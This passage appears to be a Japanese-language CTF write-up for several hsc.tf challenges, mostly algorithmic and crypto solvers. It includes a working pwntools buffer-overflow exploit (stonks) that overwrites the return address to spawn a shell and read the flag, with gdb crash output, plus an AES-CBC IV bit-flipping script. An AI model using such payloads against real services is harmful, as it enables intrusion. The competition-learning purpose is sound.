def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def get_ext_fib_sum(n):
    val = 0
    pre_s = '0'
    for i in range(1, n + 1):
        s = int(pre_s + str(sympy.fibonacci(i)))
        pre_s = str(s)[-11:]
        val += s
    return str(val)[-11:].lstrip('0')

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('extended-fibonacci-sequence.hsc.tf', 1337))

data = recvuntil(s, '\n').rstrip()
print data

for i in range(20):
    data = recvuntil(s, '\n').rstrip()
    print data
    n = int(data)

    ans = get_ext_fib_sum(n)

    data = recvuntil(s, ': ').rstrip()
    print data + str(ans)
    s.sendall(str(ans) + '\n')

data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

== proof-of-work: disabled ==
295
:19900016721
439
:21351525585
405
:56510144032
186
:32977264300
514
:96259336031
117
:32378956000
671
:20361436912
532
:98390013431
100
:43440775095
963
:51815816884
183
:53708348604
584
:67806778342
939
:743155460
313
:27870863729
721
:70482190001
642
:25822201852
475
:9260913201
866
:70819079410
73
:35439753969
46
:35169302895
b'flag{nacco_ordinary_fib}'
flag{nacco_ordinary_fib}

stonks (pwn)

$ file chal
chal: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c9dd0853a3d57b88734e4b8bfc2feeff478b5b67, for GNU/Linux 3.2.0, not stripped

$ checksec.sh --file chal
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   chal

Ghidraでデコンパイルする。

undefined8 main(void)

{
  puts("Advanced AI Stock Price Predictor");
  vuln();
  puts("Thanks for using the Advanced AI Stock Price Predictor!");
  return 0;
}

void vuln(void)

{
  char local_28 [28];
  uint local_c;
  
  printf("Please enter the stock ticker symbol: ");
  gets(local_28);
  local_c = ai_calculate();
  printf("%s will increase by $%d today!\n",local_28,(ulong)local_c);
  return;
}

int ai_calculate(void)

{
  int iVar1;
  
  iVar1 = rand();
  return iVar1 % 0x14;
}

void ai_debug(void)

{
  system("/bin/sh");
  return;
}

BOFでai_debug関数を呼び出せばよい。

$ gdb -q chal
Reading symbols from chal...(no debugging symbols found)...done.
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x0000000000401090  puts@plt
0x00000000004010a0  system@plt
0x00000000004010b0  printf@plt
0x00000000004010c0  gets@plt
0x00000000004010d0  setvbuf@plt
0x00000000004010e0  rand@plt
0x00000000004010f0  _start
0x0000000000401120  _dl_relocate_static_pie
0x0000000000401130  deregister_tm_clones
0x0000000000401160  register_tm_clones
0x00000000004011a0  __do_global_dtors_aux
0x00000000004011d0  frame_dummy
0x00000000004011d6  setup
0x000000000040121d  ai_calculate
0x0000000000401258  ai_debug
0x000000000040126f  vuln
0x00000000004012c3  main
0x0000000000401300  __libc_csu_init
0x0000000000401370  __libc_csu_fini
0x0000000000401378  _fini
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/chal 
Advanced AI Stock Price Predictor
Please enter the stock ticker symbol: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
AAA%AAsAABAA$AAnAACAA-AA(AAD will increase by $3 today!

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x39 ('9')
RBX: 0x0 
RCX: 0x0 
RDX: 0x7ffff7dcf8c0 --> 0x0 
RSI: 0x7fffffffb790 ("AAA%AAsAABAA$AAnAACAA-AA(AAD\003 will increase by $3 today!\n")
RDI: 0x1 
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffde58 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RIP: 0x4012c2 (<vuln+83>:	ret)
R8 : 0x39 ('9')
R9 : 0x0 
R10: 0x0 
R11: 0x246 
R12: 0x4010f0 (<_start>:	endbr64)
R13: 0x7fffffffdf40 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4012bb <vuln+76>:	call   0x4010b0 <printf@plt>
   0x4012c0 <vuln+81>:	nop
   0x4012c1 <vuln+82>:	leave  
=> 0x4012c2 <vuln+83>:	ret    
   0x4012c3 <main>:	endbr64 
   0x4012c7 <main+4>:	push   rbp
   0x4012c8 <main+5>:	mov    rbp,rsp
   0x4012cb <main+8>:	lea    rdi,[rip+0xd86]        # 0x402058
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde58 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffde60 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffde68 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0x7fffffffde70 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0032| 0x7fffffffde78 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0040| 0x7fffffffde80 ("AJAAfAA5AAKAAgAA6AAL")
0048| 0x7fffffffde88 ("AAKAAgAA6AAL")
0056| 0x7fffffffde90 --> 0x4c414136 ('6AAL')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004012c2 in vuln ()
gdb-peda$ patto AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 40

$ ROPgadget --binary ./chal | grep ": ret"
0x000000000040101a : ret
0x0000000000401245 : ret 0xd089
0x000000000040123b : ret 0xfac1
0x0000000000401253 : retf 0xd089
from pwn import *

context(arch='amd64', os='linux', log_level='info')

if len(sys.argv) == 1:
    p = remote('stonks.hsc.tf', 1337)
else:
    p = process('./chal')

elf = ELF('./chal')
ai_debug_addr = elf.symbols['ai_debug']
ret_addr = 0x40101a

payload = 'A' * 40
payload += p64(ret_addr)
payload += p64(ai_debug_addr)

data = p.recvuntil(': ')
print data + payload
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to stonks.hsc.tf on port 1337: Done
[*] '/mnt/hgfs/Shared/chal'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
== proof-of-work: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a@\x00\x00\x00\x12\x00\x00\x00
[*] Switching to interactive mode
disabled ==
Advanced AI Stock Price Predictor
Please enter the stock ticker symbol: AAAAAAAAAAAAAAAAAAAAAAAAAAAA\x03will increase by $3 today!
$ ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{to_the_moon}
flag{to_the_moon}

digits-of-pi (web)

スプレッドシートで閲覧のみが可能だが、「編集」「検索と置換」メニューから全シートに対して検索ができる。「f」で検索してみると、Sourceシートの「O401」のセルにフラグが見つかった。

flag{hidden_sheets_are_not_actually_hidden}

sneks (rev)

pycをデコンパイルする。

$ uncompyle6 sneks.pyc 
# uncompyle6 version 3.7.4
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.6.9 (default, Jan 26 2021, 15:33:00) 
# [GCC 8.4.0]
# Embedded file name: sneks.py
# Compiled at: 2021-05-20 04:21:59
# Size of source mod 2**32: 600 bytes
import sys

def f(n):
    if n == 0:
        return 0
    if n == 1 or n == 2:
        return 1
    x = f(n >> 1)
    y = f(n // 2 + 1)
    return g(x, y, not n & 1)


def e(b, j):
    return 5 * f(b) - 7 ** j


def d(v):
    return v << 1


def g(x, y, l):
    if l:
        return h(x, y)
    return x ** 2 + y ** 2


def h(x, y):
    return x * j(x, y)


def j(x, y):
    return 2 * y - x


def main():
    if len(sys.argv) != 2:
        print('Error!')
        sys.exit(1)
    inp = bytes(sys.argv[1], 'utf-8')
    a = []
    for i, c in enumerate(inp):
        a.append(e(c, i))
    else:
        for c in a:
            print((d(c)), end=' ')


if __name__ == '__main__':
    main()
# okay decompiling sneks.pyc

d(c)で1ビットずつずらしているので、aまでは簡単に戻せる。あとは、1バイトずつ変換しているので、総当たりで復号する。

def f(n):
    if n == 0:
        return 0
    if n == 1 or n == 2:
        return 1
    x = f(n >> 1)
    y = f(n // 2 + 1)
    return g(x, y, not n & 1)

def e(b, j):
    return 5 * f(b) - 7 ** j

def g(x, y, l):
    if l:
        return h(x, y)
    return x ** 2 + y ** 2

def h(x, y):
    return x * j(x, y)

def j(x, y):
    return 2 * y - x

with open('output.txt', 'r') as file:
    enc = map(int, file.read().rstrip().split(' '))

a = []
for c in enc:
    a.append(c >> 1)

flag = ''
for i in range(len(a)):
    for code in range(32, 127):
        if e(code, i) == a[i]:
            flag += chr(code)
            break

print flag
flag{s3qu3nc35_4nd_5um5}

extended-fibonacci-sequence-2 (algo)

カスタマイズしたFibonacci数列を計算し、S(n)までの数列をリストにし、その和を答える。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def fibonacci(n):
    global f_memo
    if n == 0:
        f_memo[n] = 4
    if n == 1:
        f_memo[n] = 5
    if n in f_memo.keys():
        return f_memo[n]
    f_memo[n] = fibonacci(n - 2) + fibonacci(n - 1)
    return f_memo[n]

def get_ext_fib_sum2(n):
    s_list = [fibonacci(0)]
    for i in range(1, n + 1):
        s_list.append(s_list[i-1] + fibonacci(i))
    return sum(s_list) % (10**10)

f_memo = {}

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('extended-fibonacci-sequence-2.hsc.tf', 1337))

data = recvuntil(s, '\n').rstrip()
print data

for i in range(15):
    for _ in range(3):
        data = recvuntil(s, '\n').rstrip()
        print data
    n = int(data)

    ans = get_ext_fib_sum2(n)
    print str(ans)
    s.sendall(str(ans) + '\n')

    data = recvuntil(s, '\n').rstrip()
    print data

for _ in range(3):
    data = recvuntil(s, '\n').rstrip()
    print data

実行結果は以下の通り。

== proof-of-work: disabled ==
Please wait a moment for a case to be generated...
Here's case 1!
705
2636487685
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 2!
143
6214027568
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 3!
445
9834786105
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 4!
980
2368196909
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 5!
27
10059351
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 6!
171
1990063079
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 7!
616
1354815050
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 8!
624
149131188
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 9!
558
1899872690
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 10!
22
906936
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 11!
714
5669508894
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 12!
185
8444547150
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 13!
421
4586684673
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 14!
991
4926917019
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 15!
964
8478586678
Congrats, that's right!
Wow, you really know your matchings!
Take this flag and get the heck out.
flag{i_n33d_a_fl4g._s0m3b0dy_pl3ase_giv3_m3_4_fl4g.}
flag{i_n33d_a_fl4g._s0m3b0dy_pl3ase_giv3_m3_4_fl4g.}

regulus-satrapa (crypto)

pの下位512bitを下位1bitから順にqの下位ビットと掛け算して、nの下位ビットと合うものをブルートフォースで探す。pがわかったら、qもわかるので、あとはそのまま復号する。

from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    p_upper = int(f.readline().rstrip())
    q_lower = int(f.readline().rstrip())
    n_e_str = f.readline().rstrip()
    n = int(n_e_str.split(' ')[0])
    e = int(n_e_str.split(' ')[1])
    c = int(f.readline().rstrip())

bin_p_lower = ''
bin_q_lower = bin(q_lower)[2:].zfill(512)
bin_n_lower = bin(n)[-512:]
for i in range(1, 513):
    for b in ['0', '1']:
        tmp_q = int(bin_q_lower[-i:], 2)
        tmp_p = int(b + bin_p_lower, 2)
        tmp_n = int(bin_n_lower[-i:], 2)
        n1 = bin(tmp_p * tmp_q)[2:].zfill(i)[-i:]
        n2 = bin(tmp_n)[2:].zfill(i)[-i:]
        if n1 == n2:
            bin_p_lower = b + bin_p_lower
            break

p = int(bin(p_upper)[2:] + bin_p_lower, 2)
q = n // p
assert n == p * q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print flag
flag{H4lf_4nd_H4lf}

multidimensional (rev)

暗号処理の概要は以下の通り。

・flagの長さは36

・Multidimensional()
 ・arr: 入力した文字列(=flag)を6×6の配列にする。
 ・mrConnolly = "hey_since_when_was_time_a_dimension?"

・line()
 ・i: 偶数、j: 偶数
  newArr[i + 1][j + 1] = arr[i][j] + 2
 ・i: 偶数、j: 奇数
  newArr[i + 1][j - 1] = arr[i][j]
 ・i: 奇数、j: 偶数
  newArr[i - 1][j + 1] = arr[i][j]
 ・i: 奇数、j: 奇数
  newArr[i - 1][j - 1] = arr[i][j] - 2

・plane()
 ・i=0~2, j=0~2に対して、以下を実行
  ・t = arr[j][n - 1 -i]
  ・arr[j][n - 1 -i] = arr[n - 1 - i][n - 1 - j]
  ・arr[n - 1 - i][n - 1 - j] = arr[n - 1 - j][i]
  ・arr[n - 1 - j][i] = arr[i][j]
  ・arr[i][j] = t
 ・i=0~5, j=0~5に対して、以下を実行
  ・arr[i][j] += i + n - j

・space(35)
 ・arr[0][0] -= 5 + 5
 ・space(34)
 ・arr[0][1] -= 5 + 4
   :
 ・space(0)
 ・arr[5][5] -= 0 + 0

・time()
 ・tの行と列を逆にして足している。

逆算していけばよい。

def str_to_matrix(s):
    arr = []
    for i in range(6):
        row = []
        for j in range(6):
            row.append(ord(s[i*6+j]))
        arr.append(row)
    return arr

def matrix_to_str():
    s = ''
    for i in range(6):
        for j in range(6):
           s += chr(arr[j][i])
    return s

def rev_time():
    global arr
    t = [[8, 65, -18, -21, -15, 55],
        [8, 48, 57, 63, -13, 5],
        [16, -5, -26, 54, -7, -2],
        [48, 49, 65, 57, 2, 10],
        [9, -2, -1, -9, -11, -10],
        [56, 53, 18, 42, -28, 5]]
    for j in range(6):
        for i in range(6):
            arr[i][j] -= t[j][i]
    return arr

def rev_space(n):
    global arr
    arr[(35 - n) / 6][(35 - n) % 6] += (n / 6) + (n % 6)
    if n != 35:
        n += 1
        rev_space(n)

def rev_plane():
    global arr
    n = 6
    for i in range(n):
        for j in range(n):
            arr[i][j] -= i + n - j
    for i in range(n / 2):
        for j in range(n / 2):
            t = arr[i][j]
            arr[i][j] = arr[n - 1 - j][i]
            arr[n - 1 - j][i] = arr[n - 1 - i][n - 1 - j]
            arr[n - 1 - i][n - 1 - j] = arr[j][n - 1 -i]
            arr[j][n - 1 -i] = t

def rev_line():
    global arr
    newArr = [[-1] * 6 for i in range(6)]
    for i in range(6):
        for j in range(6):
            p = i - 1
            q = j - 1
            f = 0
            if i % 2 == 0:
                p = i + 1
                f += 1
            else:
                f -= 1
            if j % 2 == 0:
                q = j + 1
                f += 1
            else:
                f -= 1
            newArr[i][j] = arr[p][q] - f
    arr = newArr

mrConnolly = 'hey_since_when_was_time_a_dimension?'

arr = str_to_matrix(mrConnolly)
rev_time()
rev_space(0)
rev_plane()
rev_line()
flag = matrix_to_str()
print flag
flag{th3_g4t3w4y_b3t233n_d1m3n510n5}

hopscotch (algo)

1, 2の組み合わせで合計が指定したものになる順列の数を答える。

1 → 1
2 → 2
3 → 3
4 → 5
5 → 8
6 → 13

fibonacci数列になっているようなので、その前提でスクリプトを組む。

import socket
import sympy

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def get_ext_fib_sum(n):
    val = 0
    pre_s = '0'
    for i in range(1, n + 1):
        s = int(pre_s + str(sympy.fibonacci(i)))
        pre_s = str(s)[-11:]
        val += s
    return str(val)[-11:].lstrip('0')

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('hopscotch.hsc.tf', 1337))

data = recvuntil(s, '\n').rstrip()
print data

for i in range(20):
    data = recvuntil(s, '\n').rstrip()
    print data
    n = int(data)

    ans = sympy.fibonacci(n + 1) % 10000

    data = recvuntil(s, ': ').rstrip()
    print data + str(ans)
    s.sendall(str(ans) + '\n')

data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

== proof-of-work: disabled ==
175
:9157
348
:1849
857
:8904
984
:5985
192
:9713
759
:5195
291
:579
273
:7
607
:1221
716
:9922
11
:144
785
:648
174
:7325
100
:4101
926
:4018
113
:8552
492
:5513
445
:3353
143
:1808
612
:1833
b"flag{wh4t_d0_y0U_w4nt_th3_fla5_t0_b3?_'wHaTeVeR_yOu_wAnT'}\n"
flag{wh4t_d0_y0U_w4nt_th3_fla5_t0_b3?_'wHaTeVeR_yOu_wAnT'}

canis-lupus-familiaris-bernardus (crypto)

サーバの処理概要は以下の通り。

・以下100回繰り返し
 ・key: ランダム16バイト
 ・iv: ランダム16バイト
 ・spammmmm=spam()
  ・r: ランダム英大文字('J','O','U,'X'を除く)16バイト
  ・0か1でランダムで0なら、ランダムで1か所はrを'J','O','U,'X'のどれかに変更
   r, Trueを返却
  ・0か1でランダムで1なら、変更なし
   r, Falseを返却
 ・changed=spammmmm[1]
 ・spammmmm=spammmmm[0]
 ・spammmmmを表示
 ・guess1: 入力
  →changedがTrueかFalseかを"T"or"F"で当てる。※'J','O','U,'X'が入っているかで判定可能
  ・Falseを当てたら、ivを表示
  ・以下のパラメータで復号
   ・key: 既定のkey
   ・iv : 指定
   ・暗号:enc(key, iv, spammmmm)
   →平文が"ABCDEFGHIKLMNPQRSTVWYZ"の文字から構成されていればクリア
・100回クリアすれば、フラグが表示される。

spammmmは'J','O','U,'X'が含まれていたら、その箇所をXORを使って、IVを変更すればよい。

import socket
import binascii

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('canis-lupus-familiaris-bernardus.hsc.tf', 1337))

data = recvuntil(s, 'V\n').rstrip()
print data

for i in range(100):
    data = recvuntil(s, '? ')
    spammmmm = data.split(' ')[1]
    if 'J' in spammmmm or 'O' in spammmmm or 'U' in spammmmm or 'X' in spammmmm:
        guess1 = 'F'
    else:
        guess1 = 'T'
    print data + guess1
    s.sendall(guess1 + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data
    if guess1 == 'F':
        data = recvuntil(s, '\n').rstrip()
        print data
        iv = binascii.unhexlify(data.split(' ')[-1])
        if 'J' in spammmmm:
            index = spammmmm.index('J')
            c = 'J'
        if 'O' in spammmmm:
            index = spammmmm.index('O')
            c = 'O'
        if 'U' in spammmmm:
            index = spammmmm.index('U')
            c = 'U'
        if 'X' in spammmmm:
            index = spammmmm.index('X')
            c = 'X'
        iv_c = chr(ord(c) ^ ord(iv[index]) ^ ord('A'))
        new_iv = binascii.hexlify(iv[:index] + iv_c + iv[index+1:])

        data = recvuntil(s, ': ')
        print data + new_iv
        s.sendall(new_iv + '\n')
        data = recvuntil(s, '\n').rstrip()
        print data

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

== proof-of-work: disabled ==
Hello, I'm Bernard the biologist!

My friends love to keyboard spam at me, and my favorite hobby is to tell them whether or not their spam is a valid peptide or not. Could you help me with this?
Your job is to identify if a string is a valid peptide.

If it is, type the letter T. If it's not, type F. Then, I'd like for you to return a valid IV that changes the ciphertext such that it is a valid peptide!

You only have to get 100 correct. Good luck!

Oh yeah, I almost forgot. Here's the list of valid amino acids:

alanine: A
arginine: R
asparagine: N
aspartic acid: D
asparagine or aspartic acid: B
cysteine: C
glutamic acid: E
glutamine: Q
glutamine or glutamic acid: Z
glycine: G
histidine: H
isoleucine: I
leucine: L
lysine: K
methionine: M
phenylalanine: F
proline: P
serine: S
threonine: T
tryptophan: W
tyrosine: Y
valine: V

Is TFNHYDJSFMVBSGBH a valid peptide? F
Correct!
Here's the IV: e437114f6b71e676d4c76032cb920e64
Now, give me an IV to use: e437114f6b71ed76d4c76032cb920e64
The peptide is now valid!

        :

Is AKHWHECHKGXLVHRH a valid peptide? F
Correct!
Here's the IV: 868e44aa2ca72127e0c3da46fba4ee39
Now, give me an IV to use: 868e44aa2ca72127e0c3c346fba4ee39
The peptide is now valid!
Is QDSQHDDRKQGLCQZQ a valid peptide? T
Correct!
Is OFZITRSGGGFZAGDL a valid peptide? F
Correct!
Here's the IV: d21131e0c426e9e8f9ad0c6bae1ad4d1
Now, give me an IV to use: dc1131e0c426e9e8f9ad0c6bae1ad4d1
The peptide is now valid!
Thank you for your service in peptidology. Here's your flag:
b'flag{WATCHING_PPL_GET_PEPTIDED_IS_A_VALID_PEPTIDE}'
flag{WATCHING_PPL_GET_PEPTIDED_IS_A_VALID_PEPTIDE}

audio-frequency-stego (misc)

Audacityで開き、スペクトログラムを見る。サンプリング周波数を176400Hzにしてみる。
f:id:satou-y:20210705204108p:plain
枠の中で線が入っていないものを'0'、入っているものを'1'に置き換え、デコードする。

コード:終了時刻
01100110: 2.0
01101100: 4.0
01100001: 6.1
01100111: 8.1
01111011:10.1
01110011:12.2
01101100:14.2
00110001:16.2
01100111:18.2
01101000:20.3
01011111:22.3
01110000:24.3
00110001:26.4
01110100:28.4
01100011:30.4
01101000:32.5
01011111:34.5
01100011:36.5
01101000:38.6
00110100:40.6
01101110:42.6
01100111:44.6
00110011:46.7
01111101:48.7
codes = ['01100110', '01101100', '01100001', '01100111', '01111011', '01110011',
    '01101100', '00110001', '01100111', '01101000', '01011111', '01110000',
    '00110001', '01110100', '01100011', '01101000', '01011111', '01100011',
    '01101000', '00110100', '01101110', '01100111', '00110011', '01111101']

flag = ''
for code in codes:
    flag += chr(int(code, 2))
print flag
flag{sl1gh_p1tch_ch4ng3}

cyanocitta-cristata-cyanotephra (crypto)

暗号処理の概要は以下の通り。

・xs: 9個の1~256のランダムな数値の配列
・ys: 9個の1~256のランダムな数値の配列
・c : 9個の1~2**64のランダムな数値の配列
・f(x,y)=c[0]*x^2+c[1]*y^2+c[2]*x*y+c[3]*x+c[4]*y+c[5]
・solns: 9個のf(xs[i],ys[i])の配列
・xs, ys, solnsを出力
・a, b: 1~2**40のランダムな数値
・a, b表示
・f(a, b)とflagとのXORを表示

cの値は不明だが、連立方程式で求めることができる。cの値がわかったら、その値からf(a, b)を算出し、flagを算出できる。

from sympy import *
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    x_y_sol = eval(f.readline().rstrip())
    a_b = map(int, f.readline().rstrip().split(' '))
    ct = int(f.readline().rstrip())

c0 = Symbol('c0')
c1 = Symbol('c1')
c2 = Symbol('c2')
c3 = Symbol('c3')
c4 = Symbol('c4')
c5 = Symbol('c5')

eq = []
for i in range(9):
    x = x_y_sol[i][0]
    y = x_y_sol[i][1]
    sol = x_y_sol[i][2]
    eq.append(c0 * x**2 + c1 * y**2 + c2 * x * y + c3 * x + c4 * y + c5 - sol)

ans = solve(eq)
c = map(int, [ans[c0], ans[c1], ans[c2], ans[c3], ans[c4], ans[c5]])

a = a_b[0]
b = a_b[1]
f_a_b = c[0] * a**2 + c[1] * b**2 + c[2] * a * b + c[3] * a + c[4] * b + c[5]
m = f_a_b ^ ct
flag = long_to_bytes(m)
print flag
flag{:monkaSTEER::monkaSTEER::monkaSTEER::monkaSTEER::monkaSTEER::monkaSTEER::monkaSTEER::monkaSTEER::monkaSTEER:}

class-meets (algo)

年間のWeekendを除く日付のリストを作成する。さらに都度、生徒1、生徒2のIn-person/Virtualの日程を作成する。提示された期間で、生徒1と生徒2のIn-personとVirtualで同じになっている日数を計算すればよい。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def create_cal():
    dates = []
    count = 0
    for i in range(12):
        for j in range(30):
            if count % 7 != 5 and count % 7 != 6:
                dates.append(i * 30 + j)
            count += 1
    return dates

def date_to_count(date):
    m = int(date.split(' ')[0][1:])
    d = int(date.split(' ')[1][1:])
    count = m * 30 + d
    return count

def get_index(dates, date, endFlag):
    count = date_to_count(date)
    while True:
        if count in dates:
            index = dates.index(count)
            return index
        if endFlag:
            count -= 1
        else:
            count += 1

def create_att(l, attend):
    inp = int(attend.split(' ')[0][1:])
    vir = int(attend.split(' ')[1][1:])

    attends = []
    rot = inp + vir
    for i in range(l):
        if i % rot < inp:
            attends.append('I')
        else:
            attends.append('V')
    return attends

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('class-meets.hsc.tf', 1337))

data = recvuntil(s, '\n').rstrip()
print data

dates = create_cal()

for i in range(15):
    for _ in range(2):
        data = recvuntil(s, '\n').rstrip()
        print data

    data = recvuntil(s, '\n').rstrip()
    print data
    begin = get_index(dates, data, False)

    data = recvuntil(s, '\n').rstrip()
    print data
    end = get_index(dates, data, True) + 1

    data = recvuntil(s, '\n').rstrip()
    print data
    s1 = create_att(len(dates), data)

    data = recvuntil(s, '\n').rstrip()
    print data
    s2 = create_att(len(dates), data)

    count = 0
    for j in range(begin, end):
        if s1[j] == s2[j]:
            count += 1

    print str(count)
    s.sendall(str(count) + '\n')

    data = recvuntil(s, '\n').rstrip()
    print data

for _ in range(3):
    data = recvuntil(s, '\n').rstrip()
    print data

実行結果は以下の通り。

== proof-of-work: disabled ==
Please wait a moment for a case to be generated...
Here's case 1!
M2 D22
M9 D6
I3 V2
I2 V1
74
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 2!
M1 D8
M3 D7
I1 V7
I4 V2
15
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 3!
M2 D27
M9 D24
I3 V9
I1 V4
96
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 4!
M2 D18
M8 D14
I5 V7
I1 V7
78
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 5!
M2 D13
M7 D27
I5 V5
I6 V6
57
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 6!
M3 D28
M10 D27
I3 V2
I8 V7
100
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 7!
M1 D27
M2 D18
I9 V2
I1 V5
3
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 8!
M0 D11
M10 D11
I6 V6
I6 V4
101
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 9!
M1 D0
M5 D6
I9 V8
I1 V2
44
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 10!
M1 D3
M8 D0
I6 V9
I1 V8
83
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 11!
M2 D18
M8 D14
I5 V7
I1 V7
78
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 12!
M2 D22
M8 D16
I4 V9
I3 V6
70
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 13!
M9 D10
M10 D4
I7 V4
I3 V1
10
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 14!
M3 D21
M9 D29
I6 V1
I6 V3
83
Congrats, that's right!
Please wait a moment for a case to be generated...
Here's case 15!
M8 D22
M10 D29
I1 V3
I6 V3
18
Congrats, that's right!
Wow, you really know your scheduling!
Take this flag!
flag{truly_4_m45t3r_4t_c00rd1n4t1n9_5ch3dul35}
flag{truly_4_m45t3r_4t_c00rd1n4t1n9_5ch3dul35}

regulus-regulus (crypto)

$ nc regulus-regulus.hsc.tf 1337
== proof-of-work: disabled ==

1. Key generation algorithm
2. Public key
3. Private key
4. Decrypt
: 1

from Crypto.Util.number import *
import random
import sympy
flag = open('flag.txt','rb').read()
p,q = getPrime(1024),getPrime(1024)
e = 0x10001
n = p*q
m = random.randrange(0,n)
c = pow(m,e,n)
d = sympy.mod_inverse(e,(p-1)*(q-1))
def menu():
    print()
    print("1. Key generation algorithm")
    print("2. Public key")
    print("3. Private key")
    print("4. Decrypt")
    choice = input(": ").strip()
    if choice=="1":
        f = open(__file__)
        print()
        print(f.read())
        print()
        menu()
    elif choice=="2":
        print("n = "+str(n))
        print("e = 65537")
        menu()
    elif choice=="3":
        print("d = "+str(d))
        menu()
    elif choice=="4":
        d_ = int(input("What private key you like to decrypt the message with?\n : "))
        if d_%((p-1)*(q-1))==d:
            print("You are not allowed to use that private key.")
            menu()
        if (pow(c,d_,n)==m):
            print("Congrats! Here is your flag:")
            print(flag)
            exit()
        else:
            print("Sorry, that is incorrect.")
            menu()
    else:
        print("That is not a valid choice.")
        menu()
while 1:
    menu()



1. Key generation algorithm
2. Public key
3. Private key
4. Decrypt
: 2
